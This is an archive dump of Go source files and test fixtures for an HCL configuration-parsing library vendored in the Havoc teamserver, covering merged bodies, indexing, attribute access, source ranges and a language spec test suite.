len(children) flatten = true } else { newLen++ } } if !flatten { // not just newLen == len, because we might have mergedBodies with single bodies inside return mergedBodies(bodies) } if newLen == 0 { // Don't allocate a new empty when we already have one return emptyBody } new := make([]Body, 0, newLen) for _, body := range bodies { if children, merged := body.(mergedBodies); merged { new = append(new, children...) } else { new = append(new, body) } } return mergedBodies(new) } var emptyBody = mergedBodies([]Body{}) // EmptyBody returns a body with no content. This body can be used as a // placeholder when a body is required but no body content is available. func EmptyBody() Body { return emptyBody } type mergedBodies []Body // Content returns the content produced by applying the given schema to all // of the merged bodies and merging the result. // // Although required attributes _are_ supported, they should be used sparingly // with merged bodies since in this case there is no contextual information // with which to return good diagnostics. Applications working with merged // bodies may wish to mark all attributes as optional and then check for // required attributes afterwards, to produce better diagnostics. func (mb mergedBodies) Content(schema *BodySchema) (*BodyContent, Diagnostics) { // the returned body will always be empty in this case, because mergedContent // will only ever call Content on the child bodies. content, _, diags := mb.mergedContent(schema, false) return content, diags } func (mb mergedBodies) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) { return mb.mergedContent(schema, true) } func (mb mergedBodies) JustAttributes() (Attributes, Diagnostics) { attrs := make(map[string]*Attribute) var diags Diagnostics for _, body := range mb { thisAttrs, thisDiags := body.JustAttributes() if len(thisDiags) != 0 { diags = append(diags, thisDiags...) } if thisAttrs != nil { for name, attr := range thisAttrs { if existing := attrs[name]; existing != nil { diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Duplicate argument", Detail: fmt.Sprintf( "Argument %q was already set at %s", name, existing.NameRange.String(), ), Subject: &attr.NameRange, }) continue } attrs[name] = attr } } } return attrs, diags } func (mb mergedBodies) MissingItemRange() Range { if len(mb) == 0 { // Nothing useful to return here, so we'll return some garbage. return Range{ Filename: "", } } // arbitrarily use the first body's missing item range return mb[0].MissingItemRange() } func (mb mergedBodies) mergedContent(schema *BodySchema, partial bool) (*BodyContent, Body, Diagnostics) { // We need to produce a new schema with none of the attributes marked as // required, since _any one_ of our bodies can contribute an attribute value. // We'll separately check that all required attributes are present at // the end. mergedSchema := &BodySchema{ Blocks: schema.Blocks, } for _, attrS := range schema.Attributes { mergedAttrS := attrS mergedAttrS.Required = false mergedSchema.Attributes = append(mergedSchema.Attributes, mergedAttrS) } var mergedLeftovers []Body content := &BodyContent{ Attributes: map[string]*Attribute{}, } var diags Diagnostics for _, body := range mb { var thisContent *BodyContent var thisLeftovers Body var thisDiags Diagnostics if partial { thisContent, thisLeftovers, thisDiags = body.PartialContent(mergedSchema) } else { thisContent, thisDiags = body.Content(mergedSchema) } if thisLeftovers != nil { mergedLeftovers = append(mergedLeftovers, thisLeftovers) } if len(thisDiags) != 0 { diags = append(diags, thisDiags...) } if thisContent.Attributes != nil { for name, attr := range thisContent.Attributes { if existing := content.Attributes[name]; existing != nil { diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Duplicate argument", Detail: fmt.Sprintf( "Argument %q was already set at %s", name, existing.NameRange.String(), ), Subject: &attr.NameRange, }) continue } content.Attributes[name] = attr } } if len(thisContent.Blocks) != 0 { content.Blocks = append(content.Blocks, thisContent.Blocks...) } } // Finally, we check for required attributes. for _, attrS := range schema.Attributes { if !attrS.Required { continue } if content.Attributes[attrS.Name] == nil { // We don't have any context here to produce a good diagnostic, // which is why we warn in the Content docstring to minimize the // use of required attributes on merged bodies. diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Missing required argument", Detail: fmt.Sprintf( "The argument %q is required, but was not set.", attrS.Name, ), }) } } leftoverBody := MergeBodies(mergedLeftovers) return content, leftoverBody, diags } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ops.go000066400000000000000000000332411467014221700241500ustar00rootroot00000000000000package hcl import ( "fmt" "math/big" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) // Index is a helper function that performs the same operation as the index // operator in the HCL expression language. That is, the result is the // same as it would be for collection[key] in a configuration expression. // // This is exported so that applications can perform indexing in a manner // consistent with how the language does it, including handling of null and // unknown values, etc. // // Diagnostics are produced if the given combination of values is not valid. // Therefore a pointer to a source range must be provided to use in diagnostics, // though nil can be provided if the calling application is going to // ignore the subject of the returned diagnostics anyway. func Index(collection, key cty.Value, srcRange *Range) (cty.Value, Diagnostics) { const invalidIndex = "Invalid index" if collection.IsNull() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Attempt to index null value", Detail: "This value is null, so it does not have any indices.", Subject: srcRange, }, } } if key.IsNull() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "Can't use a null value as an indexing key.", Subject: srcRange, }, } } ty := collection.Type() kty := key.Type() if kty == cty.DynamicPseudoType || ty == cty.DynamicPseudoType { return cty.DynamicVal, nil } switch { case ty.IsListType() || ty.IsTupleType() || ty.IsMapType(): var wantType cty.Type switch { case ty.IsListType() || ty.IsTupleType(): wantType = cty.Number case ty.IsMapType(): wantType = cty.String default: // should never happen panic("don't know what key type we want") } key, keyErr := convert.Convert(key, wantType) if keyErr != nil { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: fmt.Sprintf( "The given key does not identify an element in this collection value: %s.", keyErr.Error(), ), Subject: srcRange, }, } } // Here we drop marks from HasIndex result, in order to allow basic // traversal of a marked list, tuple, or map in the same way we can // traverse a marked object has, _ := collection.HasIndex(key).Unmark() if !has.IsKnown() { if ty.IsTupleType() { return cty.DynamicVal, nil } else { return cty.UnknownVal(ty.ElementType()), nil } } if has.False() { if (ty.IsListType() || ty.IsTupleType()) && key.Type().Equals(cty.Number) { if key.IsKnown() && !key.IsNull() { // NOTE: we don't know what any marks might've represented // up at the calling application layer, so we must avoid // showing the literal number value in these error messages // in case the mark represents something important, such as // a value being "sensitive". key, _ := key.Unmark() bf := key.AsBigFloat() if _, acc := bf.Int(nil); acc != big.Exact { // We have a more specialized error message for the // situation of using a fractional number to index into // a sequence, because that will tend to happen if the // user is trying to use division to calculate an index // and not realizing that HCL does float division // rather than integer division. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: indexing a sequence requires a whole number, but the given index has a fractional part.", Subject: srcRange, }, } } if bf.Sign() < 0 { // Some other languages allow negative indices to // select "backwards" from the end of the sequence, // but HCL doesn't do that in order to give better // feedback if a dynamic index is calculated // incorrectly. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: a negative number is not a valid index for a sequence.", Subject: srcRange, }, } } if lenVal := collection.Length(); lenVal.IsKnown() && !lenVal.IsMarked() { // Length always returns a number, and we already // checked that it's a known number, so this is safe. lenBF := lenVal.AsBigFloat() var result big.Float result.Sub(bf, lenBF) if result.Sign() < 1 { if lenBF.Sign() == 0 { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: the collection has no elements.", Subject: srcRange, }, } } else { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value: the given index is greater than or equal to the length of the collection.", Subject: srcRange, }, } } } } } } // If this is not one of the special situations we handled above // then we'll fall back on a very generic message. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "The given key does not identify an element in this collection value.", Subject: srcRange, }, } } return collection.Index(key), nil case ty.IsObjectType(): wasNumber := key.Type() == cty.Number key, keyErr := convert.Convert(key, cty.String) if keyErr != nil { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: fmt.Sprintf( "The given key does not identify an element in this collection value: %s.", keyErr.Error(), ), Subject: srcRange, }, } } if !collection.IsKnown() { return cty.DynamicVal, nil } if !key.IsKnown() { return cty.DynamicVal, nil } key, _ = key.Unmark() attrName := key.AsString() if !ty.HasAttribute(attrName) { var suggestion string if wasNumber { // We note this only as an addendum to an error we would've // already returned anyway, because it is valid (albeit weird) // to have an attribute whose name is just decimal digits // and then access that attribute using a number whose // decimal representation is the same digits. suggestion = " An object only supports looking up attributes by name, not by numeric index." } return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: fmt.Sprintf("The given key does not identify an element in this collection value.%s", suggestion), Subject: srcRange, }, } } return collection.GetAttr(attrName), nil case ty.IsSetType(): return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "Elements of a set are identified only by their value and don't have any separate index or key to select with, so it's only possible to perform operations across all elements of the set.", Subject: srcRange, }, } default: return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: invalidIndex, Detail: "This value does not have any indices.", Subject: srcRange, }, } } } // GetAttr is a helper function that performs the same operation as the // attribute access in the HCL expression language. That is, the result is the // same as it would be for obj.attr in a configuration expression. // // This is exported so that applications can access attributes in a manner // consistent with how the language does it, including handling of null and // unknown values, etc. // // Diagnostics are produced if the given combination of values is not valid. // Therefore a pointer to a source range must be provided to use in diagnostics, // though nil can be provided if the calling application is going to // ignore the subject of the returned diagnostics anyway. func GetAttr(obj cty.Value, attrName string, srcRange *Range) (cty.Value, Diagnostics) { if obj.IsNull() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Attempt to get attribute from null value", Detail: "This value is null, so it does not have any attributes.", Subject: srcRange, }, } } const unsupportedAttr = "Unsupported attribute" ty := obj.Type() switch { case ty.IsObjectType(): if !ty.HasAttribute(attrName) { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: fmt.Sprintf("This object does not have an attribute named %q.", attrName), Subject: srcRange, }, } } if !obj.IsKnown() { return cty.UnknownVal(ty.AttributeType(attrName)), nil } return obj.GetAttr(attrName), nil case ty.IsMapType(): if !obj.IsKnown() { return cty.UnknownVal(ty.ElementType()), nil } idx := cty.StringVal(attrName) // Here we drop marks from HasIndex result, in order to allow basic // traversal of a marked map in the same way we can traverse a marked // object hasIndex, _ := obj.HasIndex(idx).Unmark() if hasIndex.False() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Missing map element", Detail: fmt.Sprintf("This map does not have an element with the key %q.", attrName), Subject: srcRange, }, } } return obj.Index(idx), nil case ty == cty.DynamicPseudoType: return cty.DynamicVal, nil case ty.IsListType() && ty.ElementType().IsObjectType(): // It seems a common mistake to try to access attributes on a whole // list of objects rather than on a specific individual element, so // we have some extra hints for that case. switch { case ty.ElementType().HasAttribute(attrName): // This is a very strong indication that the user mistook the list // of objects for a single object, so we can be a little more // direct in our suggestion here. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: fmt.Sprintf("Can't access attributes on a list of objects. Did you mean to access attribute %q for a specific element of the list, or across all elements of the list?", attrName), Subject: srcRange, }, } default: return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: "Can't access attributes on a list of objects. Did you mean to access an attribute for a specific element of the list, or across all elements of the list?", Subject: srcRange, }, } } case ty.IsSetType() && ty.ElementType().IsObjectType(): // This is similar to the previous case, but we can't give such a // direct suggestion because there is no mechanism to select a single // item from a set. // We could potentially suggest using a for expression or splat // operator here, but we typically don't get into syntax specifics // in hcl.GetAttr suggestions because it's a general function used in // various other situations, such as in application-specific operations // that might have a more constraint set of alternative approaches. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: "Can't access attributes on a set of objects. Did you mean to access an attribute across all elements of the set?", Subject: srcRange, }, } case ty.IsPrimitiveType(): return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: fmt.Sprintf("Can't access attributes on a primitive-typed value (%s).", ty.FriendlyName()), Subject: srcRange, }, } default: return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: "This value does not have any attributes.", Subject: srcRange, }, } } } // ApplyPath is a helper function that applies a cty.Path to a value using the // indexing and attribute access operations from HCL. // // This is similar to calling the path's own Apply method, but ApplyPath uses // the more relaxed typing rules that apply to these operations in HCL, rather // than cty's relatively-strict rules. ApplyPath is implemented in terms of // Index and GetAttr, and so it has the same behavior for individual steps // but will stop and return any errors returned by intermediate steps. // // Diagnostics are produced if the given path cannot be applied to the given // value. Therefore a pointer to a source range must be provided to use in // diagnostics, though nil can be provided if the calling application is going // to ignore the subject of the returned diagnostics anyway. func ApplyPath(val cty.Value, path cty.Path, srcRange *Range) (cty.Value, Diagnostics) { var diags Diagnostics for _, step := range path { var stepDiags Diagnostics switch ts := step.(type) { case cty.IndexStep: val, stepDiags = Index(val, ts.Key, srcRange) case cty.GetAttrStep: val, stepDiags = GetAttr(val, ts.Name, srcRange) default: // Should never happen because the above are all of the step types. diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Invalid path step", Detail: fmt.Sprintf("Go type %T is not a valid path step. This is a bug in this program.", step), Subject: srcRange, }) return cty.DynamicVal, diags } diags = append(diags, stepDiags...) if stepDiags.HasErrors() { return cty.DynamicVal, diags } } return val, diags } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/pos.go000066400000000000000000000176101467014221700241520ustar00rootroot00000000000000package hcl import "fmt" // Pos represents a single position in a source file, by addressing the // start byte of a unicode character encoded in UTF-8. // // Pos is generally used only in the context of a Range, which then defines // which source file the position is within. type Pos struct { // Line is the source code line where this position points. Lines are // counted starting at 1 and incremented for each newline character // encountered. Line int // Column is the source code column where this position points, in // unicode characters, with counting starting at 1. // // Column counts characters as they appear visually, so for example a // latin letter with a combining diacritic mark counts as one character. // This is intended for rendering visual markers against source code in // contexts where these diacritics would be rendered in a single character // cell. Technically speaking, Column is counting grapheme clusters as // used in unicode normalization. Column int // Byte is the byte offset into the file where the indicated character // begins. This is a zero-based offset to the first byte of the first // UTF-8 codepoint sequence in the character, and thus gives a position // that can be resolved _without_ awareness of Unicode characters. Byte int } // InitialPos is a suitable position to use to mark the start of a file. var InitialPos = Pos{Byte: 0, Line: 1, Column: 1} // Range represents a span of characters between two positions in a source // file. // // This struct is usually used by value in types that represent AST nodes, // but by pointer in types that refer to the positions of other objects, // such as in diagnostics. type Range struct { // Filename is the name of the file into which this range's positions // point. Filename string // Start and End represent the bounds of this range. Start is inclusive // and End is exclusive. Start, End Pos } // RangeBetween returns a new range that spans from the beginning of the // start range to the end of the end range. // // The result is meaningless if the two ranges do not belong to the same // source file or if the end range appears before the start range. func RangeBetween(start, end Range) Range { return Range{ Filename: start.Filename, Start: start.Start, End: end.End, } } // RangeOver returns a new range that covers both of the given ranges and // possibly additional content between them if the two ranges do not overlap. // // If either range is empty then it is ignored. The result is empty if both // given ranges are empty. // // The result is meaningless if the two ranges to not belong to the same // source file. func RangeOver(a, b Range) Range { if a.Empty() { return b } if b.Empty() { return a } var start, end Pos if a.Start.Byte < b.Start.Byte { start = a.Start } else { start = b.Start } if a.End.Byte > b.End.Byte { end = a.End } else { end = b.End } return Range{ Filename: a.Filename, Start: start, End: end, } } // ContainsPos returns true if and only if the given position is contained within // the receiving range. // // In the unlikely case that the line/column information disagree with the byte // offset information in the given position or receiving range, the byte // offsets are given priority. func (r Range) ContainsPos(pos Pos) bool { return r.ContainsOffset(pos.Byte) } // ContainsOffset returns true if and only if the given byte offset is within // the receiving Range. func (r Range) ContainsOffset(offset int) bool { return offset >= r.Start.Byte && offset < r.End.Byte } // Ptr returns a pointer to a copy of the receiver. This is a convenience when // ranges in places where pointers are required, such as in Diagnostic, but // the range in question is returned from a method. Go would otherwise not // allow one to take the address of a function call. func (r Range) Ptr() *Range { return &r } // String returns a compact string representation of the receiver. // Callers should generally prefer to present a range more visually, // e.g. via markers directly on the relevant portion of source code. func (r Range) String() string { if r.Start.Line == r.End.Line { return fmt.Sprintf( "%s:%d,%d-%d", r.Filename, r.Start.Line, r.Start.Column, r.End.Column, ) } else { return fmt.Sprintf( "%s:%d,%d-%d,%d", r.Filename, r.Start.Line, r.Start.Column, r.End.Line, r.End.Column, ) } } func (r Range) Empty() bool { return r.Start.Byte == r.End.Byte } // CanSliceBytes returns true if SliceBytes could return an accurate // sub-slice of the given slice. // // This effectively tests whether the start and end offsets of the range // are within the bounds of the slice, and thus whether SliceBytes can be // trusted to produce an accurate start and end position within that slice. func (r Range) CanSliceBytes(b []byte) bool { switch { case r.Start.Byte < 0 || r.Start.Byte > len(b): return false case r.End.Byte < 0 || r.End.Byte > len(b): return false case r.End.Byte < r.Start.Byte: return false default: return true } } // SliceBytes returns a sub-slice of the given slice that is covered by the // receiving range, assuming that the given slice is the source code of the // file indicated by r.Filename. // // If the receiver refers to any byte offsets that are outside of the slice // then the result is constrained to the overlapping portion only, to avoid // a panic. Use CanSliceBytes to determine if the result is guaranteed to // be an accurate span of the requested range. func (r Range) SliceBytes(b []byte) []byte { start := r.Start.Byte end := r.End.Byte if start < 0 { start = 0 } else if start > len(b) { start = len(b) } if end < 0 { end = 0 } else if end > len(b) { end = len(b) } if end < start { end = start } return b[start:end] } // Overlaps returns true if the receiver and the other given range share any // characters in common. func (r Range) Overlaps(other Range) bool { switch { case r.Filename != other.Filename: // If the ranges are in different files then they can't possibly overlap return false case r.Empty() || other.Empty(): // Empty ranges can never overlap return false case r.ContainsOffset(other.Start.Byte) || r.ContainsOffset(other.End.Byte): return true case other.ContainsOffset(r.Start.Byte) || other.ContainsOffset(r.End.Byte): return true default: return false } } // Overlap finds a range that is either identical to or a sub-range of both // the receiver and the other given range. It returns an empty range // within the receiver if there is no overlap between the two ranges. // // A non-empty result is either identical to or a subset of the receiver. func (r Range) Overlap(other Range) Range { if !r.Overlaps(other) { // Start == End indicates an empty range return Range{ Filename: r.Filename, Start: r.Start, End: r.Start, } } var start, end Pos if r.Start.Byte > other.Start.Byte { start = r.Start } else { start = other.Start } if r.End.Byte < other.End.Byte { end = r.End } else { end = other.End } return Range{ Filename: r.Filename, Start: start, End: end, } } // PartitionAround finds the portion of the given range that overlaps with // the receiver and returns three ranges: the portion of the receiver that // precedes the overlap, the overlap itself, and then the portion of the // receiver that comes after the overlap. // // If the two ranges do not overlap then all three returned ranges are empty. // // If the given range aligns with or extends beyond either extent of the // receiver then the corresponding outer range will be empty. func (r Range) PartitionAround(other Range) (before, overlap, after Range) { overlap = r.Overlap(other) if overlap.Empty() { return overlap, overlap, overlap } before = Range{ Filename: r.Filename, Start: r.Start, End: overlap.Start, } after = Range{ Filename: r.Filename, Start: overlap.End, End: r.End, } return before, overlap, after } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/pos_scanner.go000066400000000000000000000112241467014221700256560ustar00rootroot00000000000000package hcl import ( "bufio" "bytes" "github.com/apparentlymart/go-textseg/v13/textseg" ) // RangeScanner is a helper that will scan over a buffer using a bufio.SplitFunc // and visit a source range for each token matched. // // For example, this can be used with bufio.ScanLines to find the source range // for each line in the file, skipping over the actual newline characters, which // may be useful when printing source code snippets as part of diagnostic // messages. // // The line and column information in the returned ranges is produced by // counting newline characters and grapheme clusters respectively, which // mimics the behavior we expect from a parser when producing ranges. type RangeScanner struct { filename string b []byte cb bufio.SplitFunc pos Pos // position of next byte to process in b cur Range // latest range tok []byte // slice of b that is covered by cur err error // error from last scan, if any } // NewRangeScanner creates a new RangeScanner for the given buffer, producing // ranges for the given filename. // // Since ranges have grapheme-cluster granularity rather than byte granularity, // the scanner will produce incorrect results if the given SplitFunc creates // tokens between grapheme cluster boundaries. In particular, it is incorrect // to use RangeScanner with bufio.ScanRunes because it will produce tokens // around individual UTF-8 sequences, which will split any multi-sequence // grapheme clusters. func NewRangeScanner(b []byte, filename string, cb bufio.SplitFunc) *RangeScanner { return NewRangeScannerFragment(b, filename, InitialPos, cb) } // NewRangeScannerFragment is like NewRangeScanner but the ranges it produces // will be offset by the given starting position, which is appropriate for // sub-slices of a file, whereas NewRangeScanner assumes it is scanning an // entire file. func NewRangeScannerFragment(b []byte, filename string, start Pos, cb bufio.SplitFunc) *RangeScanner { return &RangeScanner{ filename: filename, b: b, cb: cb, pos: start, } } func (sc *RangeScanner) Scan() bool { if sc.pos.Byte >= len(sc.b) || sc.err != nil { // All done return false } // Since we're operating on an in-memory buffer, we always pass the whole // remainder of the buffer to our SplitFunc and set isEOF to let it know // that it has the whole thing. advance, token, err := sc.cb(sc.b[sc.pos.Byte:], true) // Since we are setting isEOF to true this should never happen, but // if it does we will just abort and assume the SplitFunc is misbehaving. if advance == 0 && token == nil && err == nil { return false } if err != nil { sc.err = err sc.cur = Range{ Filename: sc.filename, Start: sc.pos, End: sc.pos, } sc.tok = nil return false } sc.tok = token start := sc.pos end := sc.pos new := sc.pos // adv is similar to token but it also includes any subsequent characters // we're being asked to skip over by the SplitFunc. // adv is a slice covering any additional bytes we are skipping over, based // on what the SplitFunc told us to do with advance. adv := sc.b[sc.pos.Byte : sc.pos.Byte+advance] // We now need to scan over our token to count the grapheme clusters // so we can correctly advance Column, and count the newlines so we // can correctly advance Line. advR := bytes.NewReader(adv) gsc := bufio.NewScanner(advR) advanced := 0 gsc.Split(textseg.ScanGraphemeClusters) for gsc.Scan() { gr := gsc.Bytes() new.Byte += len(gr) new.Column++ // We rely here on the fact that \r\n is considered a grapheme cluster // and so we don't need to worry about miscounting additional lines // on files with Windows-style line endings. if len(gr) != 0 && (gr[0] == '\r' || gr[0] == '\n') { new.Column = 1 new.Line++ } if advanced < len(token) { // If we've not yet found the end of our token then we'll // also push our "end" marker along. // (if advance > len(token) then we'll stop moving "end" early // so that the caller only sees the range covered by token.) end = new } advanced += len(gr) } sc.cur = Range{ Filename: sc.filename, Start: start, End: end, } sc.pos = new return true } // Range returns a range that covers the latest token obtained after a call // to Scan returns true. func (sc *RangeScanner) Range() Range { return sc.cur } // Bytes returns the slice of the input buffer that is covered by the range // that would be returned by Range. func (sc *RangeScanner) Bytes() []byte { return sc.tok } // Err can be called after Scan returns false to determine if the latest read // resulted in an error, and obtain that error if so. func (sc *RangeScanner) Err() error { return sc.err } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/schema.go000066400000000000000000000010321467014221700246000ustar00rootroot00000000000000package hcl // BlockHeaderSchema represents the shape of a block header, and is // used for matching blocks within bodies. type BlockHeaderSchema struct { Type string LabelNames []string } // AttributeSchema represents the requirements for an attribute, and is used // for matching attributes within bodies. type AttributeSchema struct { Name string Required bool } // BodySchema represents the desired shallow structure of a body. type BodySchema struct { Attributes []AttributeSchema Blocks []BlockHeaderSchema } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/000077500000000000000000000000001467014221700250215ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/README.md000066400000000000000000000027221467014221700263030ustar00rootroot00000000000000# HCL Language Test Suite This directory contains an implementation-agnostic test suite that can be used to verify the correct behavior not only of the HCL implementation in _this_ repository but also of possible other implementations. The harness for running this suite -- a Go program in this directory -- uses the `hcldec` program as a level of abstraction to avoid depending directly on the Go implementation. As a result, other HCL implementations must also include a version of `hcldec` in order to run this spec. The tests defined in this suite each correspond to a detail of [the HCL spec](../spec.md). This suite is separate from and not a substitute for direct unit tests of a given implementation that would presumably also exercise that implementation's own programmatic API. To run the suite, first build the harness using Go: ``` go install Havoc/pkg/profile/yaotl/cmd/hclspecsuite ``` Then run it, passing it the directory containing the test definitions (the "tests" subdirectory of this directory) and the path to the `hcldec` executable to use. For example, if working in the root of this repository and using the `hcldec` implementation from here: ``` go install ./cmd/hcldec hclspecsuite ./specsuite/tests $GOPATH/bin/hcldec ``` For developers working on the Go implementation of HCL from this repository, please note that this spec suite is run as part of a normal `go test ./...` execution for this whole repository and so does not need to be run separately. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/spec_test.go000066400000000000000000000047501467014221700273470ustar00rootroot00000000000000package spectests import ( "bufio" "bytes" "fmt" "os" "os/exec" "path/filepath" "runtime" "strings" "testing" ) func TestMain(m *testing.M) { // The test harness is an external program that also expects to have // hcldec built as an external program, so we'll build both into // temporary files in our working directory before running our tests // here, to ensure that we're always running a build of the latest code. err := build() if err != nil { fmt.Fprintf(os.Stderr, "%s\n", err.Error()) os.Exit(1) } // Now we can run the tests os.Exit(m.Run()) } func build() error { err := goBuild("Havoc/pkg/profile/yaotl/cmd/hcldec", "tmp_hcldec") if err != nil { return fmt.Errorf("error building hcldec: %s", err) } err = goBuild("Havoc/pkg/profile/yaotl/cmd/hclspecsuite", "tmp_hclspecsuite") if err != nil { return fmt.Errorf("error building hcldec: %s", err) } return nil } func TestSpec(t *testing.T) { suiteDir := filepath.Clean("../specsuite/tests") harness := "./tmp_hclspecsuite" hcldec := "./tmp_hcldec" cmd := exec.Command(harness, suiteDir, hcldec) out, err := cmd.CombinedOutput() if _, isExit := err.(*exec.ExitError); err != nil && !isExit { t.Errorf("failed to run harness: %s", err) } failed := err != nil sc := bufio.NewScanner(bytes.NewReader(out)) var lines []string for sc.Scan() { lines = append(lines, sc.Text()) } i := 0 for i < len(lines) { cur := lines[i] if strings.HasPrefix(cur, "- ") { testName := cur[2:] t.Run(testName, func(t *testing.T) { i++ for i < len(lines) { cur := lines[i] if strings.HasPrefix(cur, "- ") || strings.HasPrefix(cur, "==") { return } t.Error(cur) i++ } }) } else { if !strings.HasPrefix(cur, "==") { // not the "test harness problems" report, then t.Log(cur) } i++ } } if failed { t.Error("specsuite failed") } } func goBuild(pkg, outFile string) error { if runtime.GOOS == "windows" { outFile += ".exe" } cmd := exec.Command("go", "build", "-o", outFile, pkg) cmd.Stderr = os.Stderr cmd.Stdout = os.Stdout return cmd.Run() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/000077500000000000000000000000001467014221700261635ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments/000077500000000000000000000000001467014221700300105ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.hcl000066400000000000000000000000171467014221700331430ustar00rootroot00000000000000# Hash comment hash_comment.hcldec000066400000000000000000000000331467014221700335360ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/commentsliteral { value = "ok" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.t000066400000000000000000000002471467014221700326450ustar00rootroot00000000000000# This test parses a file containing only a comment. It is a parsing-only test, # so the hcldec spec for this test is just a literal value given below. result = "ok" multiline_comment.hcl000066400000000000000000000000331467014221700341410ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments/* Multi-line comment */ multiline_comment.hcldec000066400000000000000000000000331467014221700346150ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/commentsliteral { value = "ok" } multiline_comment.t000066400000000000000000000002471467014221700336450ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments# This test parses a file containing only a comment. It is a parsing-only test, # so the hcldec spec for this test is just a literal value given below. result = "ok" slash_comment.hcl000066400000000000000000000000211467014221700332460ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments// Slash comment slash_comment.hcldec000066400000000000000000000000331467014221700337250ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/commentsliteral { value = "ok" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.t000066400000000000000000000002471467014221700330340ustar00rootroot00000000000000# This test parses a file containing only a comment. It is a parsing-only test, # so the hcldec spec for this test is just a literal value given below. result = "ok" havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcl000066400000000000000000000000001467014221700277770ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcl.json000066400000000000000000000000031467014221700307520ustar00rootroot00000000000000{} havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcldec000066400000000000000000000000331467014221700304610ustar00rootroot00000000000000literal { value = "ok" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/empty.t000066400000000000000000000003621467014221700275070ustar00rootroot00000000000000# This test ensures that we can successfully parse an empty file. # Since an empty file has no content, the hcldec spec for this test is # just a literal value, which we test below. result = "ok" traversals { # Explicitly no traversals } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressions/000077500000000000000000000000001467014221700305455ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressions/heredoc.hcl000066400000000000000000000017611467014221700326530ustar00rootroot00000000000000normal = { basic = <" { lt = 1 > 2 gt = 2 > 1 eq = 1 > 1 } inequality ">=" { lt = 1 >= 2 gt = 2 >= 1 eq = 1 >= 1 } arithmetic { add = 2 + 3.5 add_big = 3.14159265358979323846264338327950288419716939937510582097494459 + 1 sub = 3.5 - 2 sub_neg = 2 - 3.5 mul = 2 * 4.5 div = 1 / 10 mod = 11 % 5 mod_frac = 11 % 5.1 } logical_binary "&&" { tt = true && true ft = false && true tf = true && false ff = false && false } logical_binary "||" { tt = true || true ft = false || true tf = true || false ff = false || false } logical_unary "!" { t = !true f = !false } conditional { t = true ? "a" : "b" f = false ? "a" : "b" } 